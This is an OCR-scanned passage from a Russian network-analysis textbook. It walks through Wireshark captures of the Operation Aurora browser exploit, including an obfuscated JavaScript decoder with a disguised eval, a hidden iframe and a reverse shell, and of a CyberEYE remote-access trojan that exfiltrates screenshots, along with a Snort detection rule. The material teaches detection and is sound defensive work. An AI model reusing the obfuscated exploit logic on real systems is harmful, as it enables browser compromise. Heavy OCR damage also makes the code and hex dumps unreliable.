34186c27lf1707352elf260ala2d28lc3b3cle113411272e3d2419043d080611023c280dlc3318332b3Ыc3d061f0Ь050 

810103bl73alб0f32230a060d16260216001clc05684d70070d22ЗcЗЗ0dl13901070b00ld02110blS2f3бlf3818180a3f 

18072512ЗаU1SЗ4381f0с11ЗЬ0S152021162а3е211е26282f012408242е381f270206052.20U4293З092.9ЗсЗЗ21011а0 

3Зa040822143533003f08000e22392c35270835137f656Ь70lf2a727c4175077fS565726920537Ы82e55254Ыf523660 

39610Ы528бd05Зб4Ы25572З07830Sе2ебf3d49624Ыб432223746108б9Зf7Ь476940б31Зб42З75бс4fЭ92с7d496957З 

352бf7c7d701f75287Ьl67S0772Sfб3236920Se29797f55254171526160З9315c7878бd05644a720372302•бd592aбfЗd 

44Зб4Ь774322767Ьб15369Зf7с4164136313637с21314f397Э7049бб573355602328701f782Ь7с1175077f50бе7469205 

e7b7e7a55254623S26460396c08787dбd0569107f5672302aбdS97bбfЗd1669462743227129665d693f2el336476ЗlЗбe 

762аЗб4f397е294ЭЗ657335460717f701f75727с1675072250бе726920537Ыс7d55254Ь7752646039615Ь7872бd05364 

77f5672302a36Se74бf3d4436147f4322777b315cб93f7c116245631331217eб24f392c7d496ЗS73300337174701f7572 

711675077207бе7>6920Sе742с7d5525467f0033603961537579бd05644а745172307Sбd~>З75бfЗd4З364Ы4432.27с7dб 

х 

- ·--·"1<1-..... - у 

] &-plt(~ 10 ,.,.," ptt(~· s шт(s). 

Entir• conversation {12 kВ) Show data as АSСП 

Нlde tns stream 

Stream [О]] 

Рис. 12. 19. Содержимое дескриптора <script> оказывается зашифрованным 

l1IQl!•iiPJiШ!i Запутывание сценариев является весъма распространенной методи'Кой, 

применяемой во вредоносном программном обеспечении с целъю избежатъ 

обнаружения и с'/Срытъ зловредное содержимое. И хотя распутывание 

подобных сценариев выходит за рам'Ки данной 'Книги, умеиие делатъ это 

приобретается с опытом в ходе тщ,ателъиого аиализа обмеиа даиными 

по сети со злым умыслом.. Многие опытные специалисты по аиализу вре

доиосного программного обеспечеиия способны .м.гиовеюю распозиаватъ 

зловредиые сценарии, бросив беглый взгляд на перехва'Ченнъtй сетевой 

трафи'К. Если вы желаете испытатъ себя, попробуйте распутатъ вред()-

1tосный сценарий, обнаруженный в данном. примере. 

Во второй части содержимого, отправленного злоумышленником и при

веденного на рис. 12.20, нам, наконец-то, удается обнаружить хотя бы немно

го удобочитаемого текста. Даже не имея особого опыта программирования, 

видно, что это исходный тест программы, где выполняется синтаксический 

анализ символьной строки на основании значений нескольких переменных. 
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И этот последний фрагмент текста расположен прямо перед закрывающим 

дескриптором </script>. 

~ Wirest>ork · Follow ТСР Str••m (lcp.stroom •q О) · aurora о х 

f7c2978140c07760567211020Sв2f7a2c2c254225Sб33193965897c2.e1405681176828b307c365a28163d403342223a22 " 
752fбS0е10Зf781Зб0161а1Зб72б7с31Зб397а2Ь48342•33Sб347528891f7с2978140с077605б72118205а2f7в2с2с254 

225563319396S097c2el405681176020b307c36Sa28163d403342223a22752f650e103f781360161ol3672б7c313б397a 

2.Ь40342e3356347S2809lf7c2978140c07768567211020So2f7a2c2c2542255б33193965897c2el405601176020b387c3 

6Sо28163d403342223а22752fб50е103f7813б016.lа13672б7с3148772с2702705о2f4ббаб57сбе4а25бо74501d170Зlе 

1e082e208c89ld0a391clc14202.70c212.c121elelf371500050a2e352e302838301802113Ь85053f113933070612Зd0a3 

9312e0f222962390f222dЗcl8бb522f4d7cбc37180f093201Зd3207202300070519841e0c38393d0bЗe3403120Ьl0180f 

2.63100З217&4122.d153е14238f29202425142Ь2с0f30Зб3с2924233dlс0ЫЬ1Ь48ЗЗ2438344а71ба384Ь2d04271477316 

сб84а201е2б150139090Зlа22ЗЫ3322dЗЬ0Ь2.029230707130115140128б4ЗЬ82ЗЗ372о03За202.2215131'; 

var RXb z- • '; 

for (i • 0;i<IwpVuiFqihVySoJStwXlllT.length;i+=2) { 
RXb у.. 

String. frOtlChar<:ode(parseint(IwpVuifqihVySoЗSЬ.XllT .substring( i, i+2), 16) ); 
} 
var vu\-IGWsvUonxrQzpqg8XPrZNSKR6ee = location. search. substring( l); 
var NqxAXnnXiilOВl'\NnKoqnbp = ''; 
for ( i"'6; i<RXb. length; i++) { 

llqxAXnnXiILOВf\wVnKoqnbp +а 

String. f nмnCharCode(RXb. char<odeAt ( i) А vuHGWsvUonxrQzpqgaxPrZNSKRGee. charCodeAt( i 
SvuWGWsv\JonxrQzpqgBXPrZNSKRGee. length)); 

} 
window[ "ev•l". replace(/[A·Z]/g, "") ](tlqxAXnnXiILOl!НwllnKoqnbp); r-

</script> 
</head> 
<Ьоdу> о 
<span id•"vhQYfCtoOnOzUOuxAflDSzVМI!fYhjJojADCНl1ZtQdlxSPF~EthCGdRHIY"><ifro1Вe src•" / 
infow1VeeGDYJi.tlf srdrvXi YApnuPoOljRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcf lhsttМRrSyx l • gi f" @ 
onload="WisgEgТNEfaONekEqallyAUALLМYW(event)" /></span></Ьody></ht11l~ 

</Ьodv> 

з ~~J 10S«Y«pl-i(tt s пп(.,! 
r -· . . •... --~- - -·· 
•Enlif• conversaЬon (121<ВL_ _ Show data as АSСП 

v 

Stream~ 

Рис. 12.20. Эта часть содержимого, отправленного сервером, содержит 
удобочитаемый текст и подозрительный встраиваемый фрейм iframe 

Последний фрагмент данных, посылаемых злоумышленником целевому 

хосту, состоит из двух частей (см. рис. 12.20). Первая часть заключена в дес
криптор <span id="vhQYFCtoDnOzUOuxAflDSzVМIHYhjJojAOCHNZtQdlxSPFUeEthC 
GdRtiIY"> О, а вторая - в дескриптор <ifrarne src=" /infowTVeeGDYJWNfsrdrv 
XiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttМRrSyxl.gif"onload=" 

WisgEgTNEfaONekEqaMyAUALLМYW (event)" /> б. И это содержимое может свиде
тельствовать о злом умысле, если принять во внимание слишком длинные и 

произвольные строки неудобочитаемого и потенциально запутанного текста. 

Часть содержимого, заключенная в дескриптор <span>, образует встраи
ваемый фрейм. Злоумышленники часто пользуются этим способом для встра

ивания дополнительного и не предполагаемого содержимого на НТМL-стра

ницу. А в дескрипторе <iframe> образуется внутристрочный фрейм, чтобы его 
не смог обнаружить пользователь. В данном случае в дескрипторе <ifrarne> 
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содержится ссылка на необычно именуемый файл формата GIF. Как показа
но на рис. 12.21, когда браузер целевого хоста обнаруживает ссылку на этот 
файл, он делает его запрос по методу GET в пакете 21 О, и в ответ немедленно 
посылается запрашиваемый файл формата GIF 8 . 

No. rme: Sсиа 0еь11оn ProtDc:D InfD 
21 1.288241 1g2. 168.1ee.296 192.168.1M. N2 НТТР о GЕТ /infowТV1teGDVJ..нfsr-dl"'VXiYApnuPoOtjRr-SZvKtЬVgwuZO:WККjtEclb~u)PPctcflhsttнR.r-Syxl.1if НТТР/1.1 
12 1.4881el 192.168. 181.282 192.168.lИ.286 ТСР 88.,. 1831 {АОС) ~q•38367369Sl Ack•3982971911 Win•64511 Len-e 
231.489>66 192.168.118.24:12 192. 168.188. 286 нтт;~. 8 нттР/1.1 2М О1( (6IF89•) (Gtf89•) (1-ge/3if) 
24 t.6589S8 192. 168.188.286 192. 168.118.292 ТСР 1t31.,. 80 [АС:К) Seq•3'1829719U Ack•38)6737e98 Win•bl893 len-e 

Рис. 12.21. Файл формата G/F, указанный в дескрипторе <iframe>, запрашивается 
и загружается целевым хостом 

Самое необычное в анализируемом здесь перехваченном трафике происхо

дит в пакете 25, когда целевой хост инициирует обратное соединение с ком
пьютером злоумышленника через порт 4321. Просмотр этого второго потока 
обмена данными на панели Packet Details мало что дает, и поэтому нам придется 
снова отследить поток ТСР, чтобы получить более ясное представление об об

мениваемых данных. Результат, выводимый в окне Follow ТСР Stream, приведен 
на рис. 12.22 . 

• Wiroshork · Follow ТСР Stroom (tcp.stroom <q 1) · ouroro 

•..• •• .•. •. . . l.d.R0.R •. R • • r( . . 3&1.1 •. <а \. , .. 
. . • . RW. R • • В<. •• @>< •• tJ .• Р .Н . . Х .•. <I .4 .•• 1 .1 ••. • 
• . 8 . u •• }. ; }$u .Х . Х$ •• f .. к. х . .. .. .... D~$[[aYlQ • • x_z . . .. Jhct11d • •. WWWl. j. YV •• f .0$<. •• о 
$ . • . DTPVWFVNWSVhy.? .. • .• NVF .0h • • • • ••• • •• Vh •..•. • <. \ 
••• u •. G.roj.S •. Hicrosoft Windows ХР [Ver sion 5.1.2600) 
(С) Copyright 1985-2001 Microsoft Corp. О 

07/13/2010 05 : 33 РМ 
07/13/2010 05:33 РН 
07/13/2010 05:33 Р11 

07/13/2010 05:33 РМ 
07/13/2010 

<DIR> 
<DIR> 
<DIR> 
<OIR> 

data е 
docs 

227 passwords . txt 
227 bytes 

19,271,598,080 byt:es f r ee 

Нide th!s stream __ .... 
Show data as r A.SC!l 

о х 

stream l 1 : ;j 
Find (iext 

Не1р 

Рис. 12.22. Злоумышленник взаимодействует с командной оболочкой 
Windows через данное соединение 



В данном окне наблюдается нечто такое, что сразу же должно вызвать тре

вогу: запуск команд из командной оболочки Wiшlows О. Эта оболочка посыла

ет данные выполнения команд на целевом хостс серверу, указывая на то, что 

попытка злоумышленника эксплуатировать уязвимость целевого хоста увенча

лась успехом и полезная информация была получена злоумышленником. Це

левой хост передал данные выполнения команд в командной оболочке обрат

но компьютеру злоумышленника сразу же после запуска вредоносного кода. 

В этом перехваченном трафике можно обнаружить взаимодействие злоумыш

ленника с целевым хостом, которое заключается в выполнении команды dir 8 
для просмотра содержимого текущего каталога на машине целевого хоста О. 

Если предположить, что в результате данной попытки воспользоваться 

уязвимостью целевого хоста злоумышленнику удалось подключиться к си

стемному процессу, выполняющемуся с правами администратора, и запустить 

вредоносный код, то в результате злоумышленник может сделать с целевого 

хостом, все, что угодно. Достаточно один раз щелкнуть на ссылке кнопкой 

мыши, чтобы за доли секунды полностью отдать целевой хает во власть злоу

мышленника. 

Подобные попытки воспользоваться уязвимостью целевого хоста обычно 

зашифрованы и их код трудно распознать. Поэтому при распространении по 

сети система обнаружения вторжений нс всегда может их выявить. Следо

вательно, не зная заранее характер подобной попытки или образец ее кода, 

очень трудно без дополнительного анализа выяснить, что же на самом деле 

происходит в системе целевого хоста. Правда, в апали:шруемом здесь пере

хваченном трафике все же можно увидеть некоторые характерные признаки 

наличия вредоносного кода. К их числу относится зашифрованный и запутан

ный код в дескрипторах <script> и <iframe>, а также текстовый результат ра
боты командной оболочки. 

Ниже приведено краткое описание этапов при попытке воспользоваться 

уязвимостью в операции "Аврора". 

• Целевой хост получает от атакующего злоумышленника сообщение по 

электронной почте, которое выглядит вполне законным, щелкает на 

ссылке в этом сообщении и посылает обратно запрос по методу GET про

токола НТТР на вредоносный сайт злоумышленника. 

• Веб-ссрвср злоумышленника в ответ выдает целевому хосту команду пе

реадресации с кодом состояния 302, на что браузер целевого хоста авто
матически выдает запрос по методу GET протокола НТТР, переадресовы

вая его по указанному URL. 

• Веб-сервер злоумышленника передает целевому хосту веб-страницу, со

держащую запутанный код сценария на языкeJavaScript, включающий в 



себя попытку воспользоваться уязвимостью целевого хоста и встраивае

мый фрейм, содержащий ссылку на запрашиваемый файл с изображени

ем в формате GIF. 

• Переданный ранее запутанный код сценария JavaScript распутывается 
при визуализации страницы в браузере целевого хоста, а затем вьшол

няется на его машине с целью выявить уязвимость браузера Internet 
Explorer. 

• Как только уязвимость будет выявлена, запустится на выполнение запу

танный код, скрытый в переданной полезной информации. В результа

те будет открыт новый сеанс связи целевого хоста с компьютером злоу

мышленника через порт 4321. 

• В результате злоумышленник получает полный контроль над целевым 

хостом через команды, передаваемые по сети и выполняемые команд

ной оболочкой, которая бьша запущена из вредоносного кода. 

С точки зрения защиты сети анализируемый здесь файл перехвата может 

быть использован для создания сигнатуры, с помощью которой системе об

наружения вторжений удастся в дальнейшем выявлять случаи проявления по

добного рода атак. С одной стороны, можно вычленить незапутанную часть 

перехваченного трафика, например, представленный в виде текста исходный 

код программы, расположенный в конце запутанного текста в дескрипторе 

<script>. А с другой стороны, можно написать сигнатуру для всего сетевого 
трафика по протоколу НТТР, в котором выполняется переадресация с кодом 

состояния 302 на веб-сайт, в URL которого присутствует слово info. Такая 
сигнатура потребует дополнительной настройки, чтобы стать полезной в ус

ловиях реальной эксплуатации, хотя ее написание и послужит неплохим нача

лом. Не следует, однако, забывать, что сигнатуры можно побороть. Так, если 

злоумышленник внесет незначительные изменения в рассмотренные выше 

символьные строки или доставит вредоносный код через другой механизм, то 

созданные сигнатуры могут оказаться бесполезными. Это означает, что извеч

ная борьба нападающих и защитников не прекратится никогда. 

ll!piИippiii!I Умение создаватъ сигнатуры из образцов вредоносного трафика имеет 

решающее значение для тех, кто пытаетСJl защититъ свою сетъ от 

неизвестных угроз. Анализ перехва'Ченного трафика, аналоги'Чный опи

санному в этом разделе, дает отrtи'Чную возможностъ въtработатъ в себе 

навыки написания подобных сигнатур. Чтобы узнатъ болъше об обнару

жении незаконного вторжения и сигнатурах совершаемых атак, посе

тите веб-сайт проекта Sпort по адресу http: / /vww. snort. orq/. 
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Троянская проrрамма удаnенноrо доступа 

Файл перехвата 

ratinfected.pcapng 

До сих пор мы исследовали события, заранее зная хотя 

бы что-нибудь о происходящем. И хотя это отличный 

способ изучить атаки, на самом деле он далек от прак

тики. Ведь в большинстве реальных сценариев те, кому поручено защищать 

сети, не будуг анализировать каждый пакет, проходящий по сети. Вместо это

го они воспользуются определенной формой системы обнаружения вторже

ний, которая должна предупредить их об аномалиях в сетевом трафике, кото

рый требует дальнейшего анализа на основании предопределенных сигнатур 

совершаемых атак. 

В следующем примере мы начнем с простого предупреждения, взяв на себя 

роль настоящего аналитика. В данном случае система обнаружения вторже

ний формирует приведенное ниже предупреждение. 

[**] (1:132456789:2) CyberEYE RAT Session EstaЫishment [**] 

[Classification: А Network Trojan was detected] [Priority: 1) 

07/18-12:45:04.656854 172.16.0.111:4433 -> 172.16.0.114:6641 

ТСР ТТ1:128 TOS:OxO ID:6526 Ip1en:20 Dgrn1en:54 DF 

***АР*** Seq: Ох53ВАЕВ5Е Ack: Ох18874922 Win: OxFAFO TcpLen: 20 

На следующей стадии просматривается приведенное ниже правило сигна

туры, инициирующее данное предупреждение. 

alert tcp any any -> $HOME_NET any 

(msg:"CyberEYE RAT Session EstaЬlishment"; 

content:"l41 4Е 41 42 49 4С 47 49 7CI"; 

classtype:trojan-activity; sid:132456789; rev:2;) 

Это правило установлено для выдачи предупреждения всякий раз, когда об

наруживается пакет, поступающий из внутренней сети с шестнадцатеричным 

содержимым 41 4! 41 42 49 4С 47 49 7С, которое преобразуется в удобочитае
мую фразу ANA BILGI, если преобразовать эту последовательность в АSСП-код. 

Как только это содержимое обнаружится, инициируется предупреждение, 

указывающее на возможное наличие троянской программ:ы удалепиого доступа 

(Reшote-Access Trojan - RAT), разработанной средствами CyberEYE. Програм
мы RAT считаются вредоносными и незаметно выполняются на целевой ма
шине, предоставляя злоумышленнику несанкционированный доступ к ней. 

lllQ"lipИiiiii CyberEYE - это распространенное некогда инструментальное средство 

турецкого происхождения, предназна-чавш.ееся для создания исполняе.м(}

го кода программ RAT и административного управления подвергавши."!С
с.я угрозам хостов. По иронии судьбы, приведенное выше правило Sпort 



инициирует предупреждение при обнаружении в пакете символъной 

строки "ANA BILGI ", которая по-турецки означает "ОСНОВНАЯ ИН 

ФОРМАЦИЯ". 

А теперь рассмотрим пример сетевого трафика, связанного с предупрежде

нием из файла перехвата ratinfected. pcapng. Это предупреждение по прави
лу Srюrt обычно приводит к перехвату лишь одного пакета, инициировавшего 

данное предупреждение, но, к счастью, в нашем распоряжении имеется вся 

последовательность обмена данными меж;rу хостами. Чтобы выделить из ана

лизируемого трафика самое главное, поищите шестнадцатеричную строку, 

упомянутую в правиле Snort, выполнив следующие действия. 

1. Выберите команду EditQFind Packet (ПравкаQНайти пакет) из главного 
меню или нажмите комбинацию клавиш <Ctrl+F>. 

2. Выберите пункт Нех Value (Шестнадцатеричное значение) из раскрыва
ющегося списка, расположенного слева от поля ввода. 

3. Введите значение 414Е 41 42 49 4С 47 49 7С в текстовой области. 

4. Щелкните на кнопке Find (Найти). 

Как показано на рис. 12.23, вы должны теперь увидеть первое вхождение 
шестнадцатеричной строки в информационной части пакета 4 О. 

Fraoie 4: 68 bytes on wir-e (544 Ыts), 68 bytes c11ptured (544 Ыts) on interface е 
Ethernet II, Src: V-•,..._87:ae:27 (00:8с:29:07:ае:27), Ost: НewlettP_bf:91:ee (е&:25:ЬЗ:Ьf:91: ••} 
Internet Prot"ocol Version 4, Src: 172.16.G.111, Ost: 172.16.9.114 

> Transмission Control Protocol, Src Рогt: 4433 (4433). Ost Port: 6641 (6641), Seq: 1494758878, Ack: 411519266, Len: 14 
v Oata (14 bytes} 

Oota: 414Е4142494с47497СЗ5З5Збеd0• 0 
[L•ngth: 14] 

ее 25 Ь3 bf 91 •• ее ее 29 е1 •• 21 98 ее 45 ее 
"' 08 36 19 7е 48 ев ве 06 ss 42 ас 18 ее бf 11с 10 

е1 ее 12 11 51 19 fl 53 Ьа еЬ 5• 18 87 49 22 5е 18 
еезе fa fe ь. 2ь ее оо 1 4е 41 42 49 4< 47 49 7с 35 -
• ')' Data (data.data), 1~ byt.. 

.% ...•.. )" '. . Е. 

.6 . -@." .в" .о" 

.r.Q .. S .. •"I"P. 

... + .. ШllJШ!diliJ ---, P~•ts: 779 • ()fsployed: 779 (100.0%} · Lood -: 0:0.8 ·1 Profilo: O.fotit 

Рис. J 2.23. Строка содержимого, на которую реагирует предупреждение по прави

лу Snort, впервые появляется в пакете 4 

Если щелкнуть на кнопке Find еще несколько раз, то можно обнаружить, 
что данная строка присутствует также в пакетах 5, 10, 32, 156, 280, 405, 531 
и 652. И хотя весь обмен данными в анализируемом здесь файле перехвата 
происходит между компьютером злоумышленника, находящимся по адресу 

172 .16. О . 111, и целевого хостом, расположенным по адресу 172 .16. О .114, 
вхождения этой строки оказываются и в ;~ругих диалогах. В то время как об

мен пакетами 4 и 5 происходит через порты 4433 и 6641, большинство осталь
ных вхождений рассматриваемой здесь строки обнаруживаются из обмена 
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пакетами между портом 4433 и произвольно выбранными временными порта
ми. Заглянув на вкладку ТСР в окне Conversations, можно убедиться в существо
вании нескольких диалогов, как показано на рис. 12.24. 

о х 

Ethe"net. • 1 IPv4 • 1 IP\'6 ТСР 8 LIOP 

1 r
дdd-r:SsAPort.A Add~sB - PortB Packds Вytts Рьсkmд-8 ~А-8 PacketsB-A Bytes8-A RdSWt Durmon BrtJ/sA-8 8m/sB-A ! 
172.16.0114 6ЬС1 Ш1б.О.111 4433 48 2989 24 1589 24 1400 0.000000000132.129б09 9б 84 

17216.0114 б6оС2 172.16.0.111 4433 10 S85 6 343 4 242 0.01200llOOO 132.117839 20 14 

172.160.114 б6оС317Z160.111 4433 120 91 k /П 89k 33 1807 74.205Z35000 0.066042 10М 218k 

112.16.0.114 бб44 112.16.0.111 4433 120 91 k s1 89k 33 1807 84.20977Э000 o.orooss 1ом 20б~k 
172.16 о 114 6ЬС5 17216.0111 4433 121 94 k 89 92 k 32 1753 94.225097000 о.от.!995 10 м 192k 

172.16о114 бб4б 172 10.0 111 4433 122 94 k 91 9З k 31 1699 104.238408000 0.о71781 10 м 189 k 

172.16.0.114 бб47 Ш.1б.D111 4433 119 91k 87 89k Зl 1753 114.238812000 0..071Шб 10М 199k 

172.160.114 бб4817216.о111 4433 119 91k 87 89k Зl 1753 118М5540000 О..ОббШ 10М 211k 

-- --- - -- - -- -- ---- -
0Lmt10~-

Рис. 12.24. Между компьютером злоумышленника и целевым хостом существуют три 
отдельных диалога 

Различные диалоги можно разграничить визуально в рассматриваемом 

здесь файле перехвата, выделив их разным цветом. С этой целью выполните 

следующие действия. 

1. Введитеправилодляфильтра (tcp.flaqs.syn = 1) && (tcp.flaqs.ack 

= О) в диалоговом окне, расположенном выше панели Packet List, и на

жмите клавишу <Enter>. В результате применения этого фильтра будуr 

выбраны пакеты SYN для каждого диалога в анализируемом трафике. 

2. Щелкните правой кнопкой мыши на первом пакете и выберите команду 
Colorize Conversation (Выделить диалог цветом) из контекстного меню. 

3. Выберите сначала вариант ТСР, а затем конкретный цвет. 

4. Повторите данный процесс для остальных пакетов SYN, выбрав для каж

дого из них другой цвет. 

5. По завершении щелкните на кнопке Х, чтобы удалить применяемый 
фильтр. 

Выделив диалоги разными цветами, можно удалить применяемый фильтр, 

чтобы посмотреть, каким образом они связаны друг с другом. Это поможет 

нам отследить процесс обмена данными между двумя хостами. Обмен данны

ми (через порты 6641 и 4433) между этими хостами начинается в первом диа
логе, и поэтому начать анализ удобно именно с него. Итак, щелкните правой 

кнопкой мыши на любом пакете в первом диалоге и выберите команду Fol
lowQTCP Stream (ОтслеживатьQПоток ТСР) из контекстного меню. В итоге по

явится результат, приведенный на рис. 12.25. 
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• Wireshark · Follow ТСР Stream (tcp.stream ~ 0) · ratinfected о х 

ANAВIL6I J 556 0 " 
AIWЗIL6I j 192 .168.126.1431US1ratllIIO1 Ad11inistrator / CSAМJERS-бf7F77 I Windows ХР Service Pack 
Зjintel(R) Соrе(П\}2 l>uo CPU Т9600 (! 2.80GНzl511 11ВJ1.2j7/18/2010\ f) 
BAбlIHI? 

5AGLIHI? 
BA6LIHI? 
BAGLIHI? ~ 
BA6Lil1I? 
BAGl.IHI? 
BAGLIHI? 
CAP5CREEN60 0 
BAGLIHI? 
CAPSCREEN60 
BAGLIHH 
CAPSCREEN60 
BAGLitl!? 
CAPSCREEN60 
BAGLIH!? 
CAPSCREEN60 
CAPSCREEN60 
BAGLIHI? 
BAбlIНI? 

Рис. 12.25. Анализ первого диалога дает интересные результаты 

И мы сразу же увидим, что текстовая строка "ANABILGI 1556" посылается 

злоумышленником целевому хосту О. В итоге целевой хост ответит некото

рым количеством основной информации о системе, включая имя компьюте

ра (CSANDERS-6F7F77) и наименование применяемой операционной системы 

(Windows ХР Service Pack 3) 8, а затем начнет периодически передавать тек
стовую строку "BAGLIMI?" обратно злоумышленнику О. На это злоумышлен

ник ответит лишь текстовой строкой "CAPSCREEN60" О, которая появляется 

шесть раз подряд. 

Текстовая строка "CAPSCREEN60", возвращаемая злоумышленником, пред

ставляет особый интерес, поэтому выясним, к чему она приведет. С этой це

лью непременно удалите любые фильтры отображения и найдите текстовую 

строку "CAPSCREEN60" в анализируемых здесь пакетах, выбрав опции String 

(Строка) и Packet bytes (Байты из пакета) из списков, расположенных на пане

ли поиска, чтобы указать, где следует искать эту строку. 

По окончании поиска перейдите к первому вхождению искомой строки в 

пакете 27. Обнаруженная здесь информация примечательна тем, что как толь

ко анализируемая здесь строка будет отправлена злоумышленником целевому 

хосту, последний подтвердит прием пакета, а затем начнется новый диалог в 

пакете 29. Теперь вам будет легче обнаружить начало нового диалога благода

ря установленным ранее правилам выделения диалогов цветом. 
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Если теперь отследить поток вывода данных из этого нового диалога 

по протоколу ТСР (рис. 12.26), то можно обнаружить уже знакомую тек

стовую строку "ANABILGil12", следующую далее строку "SHl556" и строку 

"CAPSCREEN 1С:\WINDOWS\jpgevhook.dat184972" О. Обратите внимание на путь 

к файлу, указанный вслед за словом CAPSCREEN в последней строке, и следую

щий далее неудобочитаемый текст. Самое примечательное здесь состоит в 

том, что неудобочитаемый текст предваряется строкой 'JFIF" 8, которая 
обычно указывается в начале файлов форматаJРG, как показывает быстрый 

поиск в Google. 

~ Wiroshork · Follow ТСР Streom (tcp.streom eq 2) · ratinfected 

AIW!IlGI / 12 
SН/SSб 
CAPSCREEN/C: \WINOOWS\jpgevhook.dat / 84972 0 
•••••• JfIF."" ••••.•.• С. 

6 

..•• •••.•. • )10. )- ,3:)>36F7, -
~F~RSR2>Z•ZP· JQRo ••• с. ...... & •• &oossi='-ssoommmXIOixxxxxxxxxxxxщщщюooюooЮJooooo 
w.k •••.••••.•••• " .•••.••.•...••••••••• " . 
. . . . . • . . • " .........• } •..•. ". !1А •. Qa. "q.2 .•.• #8 •.. R .• $ЗЬг. 

о 

~. ()"456789:CDEFGНIJSTtм-IXY'Z<defghijstuwxyz ..•..• ••••.••.••••. " .•• " .•••... " •••••• " •••••.• 

" . • . " ••.•• " .•••••• w .•.•••. !1 •. AQ.aq. •2 ... В.... t3R •. Ьг • 
• $4. 
% •.••• & '() "56789 :COEfбНIJSТWWXYZcdef ghijstuvwxyx •.•.•••••••.•.••••.•••••••..•••• " ••••.••.. " . 
. .. . . .. .•. . . . . . . . . . . . . . .. . . " .•..... "? .. бlw.,IR. \1 ... %.1 •• "0 ... ух .. " ..• " .. 1($IR//v. Ь ••. 3.tp 
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Рис. 12.26. Оказывается, что злоумышленник инициирует запрос на загруз
ку файла изображения в формате JPG 

В данный момент можно благоразумно заключить, что злоумышленник 

инициировал запрос на загрузку указанного файла изображения в формате 

JPG. Но еще важнее , что постепенно начинает проясняться структура коман

ды, возникающая из сетевого трафика . Оказывается, что CAPSCREEN - это ко

манда, посылаемая злоумышленником с целью начать передачу указанного 

файла изображения в формате JPG. В действительности всякий раз, когда 

посылается команда CAPSCREEN, получается одинаковый результат. Чтобы убе

диться в этом, просмотрите поток ТСР каждого диалога, где присутствует ко

манда CAPSCREEN, или попытайтесь воспользоваться средством графического 

представления ввода-вывода в Wireshark, выполнив следующие действия. 
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1. Выберите команду StatisticsQIQ Graph из главного меню. 

2. Щелкните на кнопке со знаком "плюс" ( +), чтобы ввести пять строк. 

3. Введите фильтры tcp.streameq 2, tcp.streameq З, tcp.streameq 4, tcp. 
stream eq 5 и tcp. stream eq 6 соответственно в пяти строках, вновь вве
денных в окне Display Filter. Присвойте каждому фильтру подходящее имя. 

4. Измените на Bytes/s (Байт/ с) единицы измерения, откладываемые по 

оси у при построении графика. 

5. Щелкните на кнопках Graph 1, Graph 2, Graph 3, Graph 4 и Graph 5, чтобы ак
тивизировать точки данных для указанных фильтров. 

Построенный в итоге график приведен на рис. 12.27. 
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Рис. 12.27. На этом графике наглядно показано повторение одинаковых действий 

Основываясь на этом графике, можно сделать вывод, что каждый диалог 

содержит приблизительно одинаковое количество данных и происходит в 

течение одного и того же периода времени. И эти действия повторяются не

сколько раз. 

У вас, возможно, уже имеются некоторые догадки относительно содержи

мого передаваемого файла изображения в формате JPG, поэтому выясним, 
можно ли просмотреть такой файл. Чтобы извлечь данные из файла изобра

жения в формате JPG в Wiresl1ark, выполните следующие действия. 



1. Прежде всего отследите поток ТСР из подходящих пакетов, как это 
было сделано на рис. 12.25. Для это удобно выбрать пакет 29. 

2. Обмен данными нужно изолировать, чтобы можно было увидеть только 
поток данных, отправленный целевым хостом злоумышленнику. С этой 

целью щелкните на кнопке со стрелкой раскрывающегося списка Entire 

Conversation (85033 bytes) (Весь диалог (85033 байта)). Выберите в нем нуж
ное направление трафика 172.16.0.114:6643 --> 172.16.0.111:4433 (85 kB). 

3. Выберите вариант RAW из раскрывающегося списка Show data as (Пока

зать данные в формате). 

4. Сохраните данные, щелкнув на кнопке Save As, чтобы сохранить файл с 

расширением . jpq. 

Если теперь попытаться открыть файл изображения, то с удивлением мож

но обнаружить, что он не открывается. Дело в том, что для этого нужно сде

лать еще кое-что. В отличие от сценария, описанного в главе 10, "Основные 
реальные сценарии", где файл был извлечен непосредственно из трафика 

FTP, анализируемый здесь трафик дополнен, помимо данных, еще некоторым 
содержимым. В данном случае первые две строки, наблюдаемые в потоке ТСР, 

фактически являются частью последовательности команд из вредоносной 

программы, а не данных, образующих изображение форматаJРG (рис. 12.28). 
Это постороннее содержимое было сохранено вместе с выбранным потоком 

данных. В итоге средство просмотра файлов, искавшее заголовок файла изо

бражения форматаJРG, обнаружило содержимое, не соответствовавшее тому, 

что оно предполагало найти, и поэтому оно и не смогло открыть указанный 

файл изображения. 

Устранение подобного недостатка - довольно простой процесс, требую

щий тем не менее умения работать шестнадцатеричном редакторе файлов. 

Все, что нужно сделать - вырезать нужную часть данных, составляющих изо

бражение в формате JPG, из массива перехваченных данных. Для этого вы
полните следующие действия. 

1. Просматривая поток ТСР, приведенный на рис. 12.28, щелкните на 
кнопке Save as. Выберите удобное для запоминания имя файла и сохра

ните его в том месте, где его можно сразу же найти. 

2. Загрузите шестнадцатеричный редактор файлов WinHex по адресу 
https: / /www.x-ways.net/winhex/ и установите его. 

3. Запустите редактор WinHex и откройте в нем файл, только что сохра
ненный в Wireshark. 
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Рис. 12.28. Постороннее содержимое, добавленное вредоносной про-
граммой, препятствует правильному открытию файла изображения 

4. Выделите все постороннее содержимое в начале открытого файла. Это 
должны быть все байты, предшествующие байтам FF D8 FF ЕО , обознача-

ющим начало нового файла изображения в формате JPG. Выделенные 

байты должны быть в итоге отмечены, как показано на рис. 12.29. 
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Рис. 12.29. Удаление посторонних байтов из файла изображения в формате JPG 
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5. Нажмите клавишу <Delete>, чтобы удалить выбранные данные. 

6. Щелкните на кнопке Save главной панели инструментов редактора 

WinHex, чтобы сохранить внесенные изменения. 

le!QЩ!pMШll Я лично предпочитаю восстанавливатъ файл из перехваченного масси

ва данных в редахторе WinHex под управлением Windows, но въt волънъ~ 

восполъзоватъся для этой цели любым известным вам шестнадцаrмрич

нъt.М редахтором файлов. 

Итак, удалив ненужные байты данных, вы должны теперь суметь открыть 

рассматриваемый здесь файл. Теперь должно быть ясно, что троянская про

грамма периодически делает копии экрана рабочего стола в операционной 

системе целевого хоста и передает их обратно злоумышленнику (рис. 12.30). 
Как только обмен данными будет завершен, далее последует процесс обычно

го разъединения соединения по протоколу ТСР. 

Рис. 12.30. В передаваемом файле в формате JPG содержится копия 
экрана рабочего стола операционной системы целевого компьютера 

Рассматриваемый здесь сценарий служит характерным примером приве

денного ниже хода мыслей специалиста, анализирующего сетевой трафик 

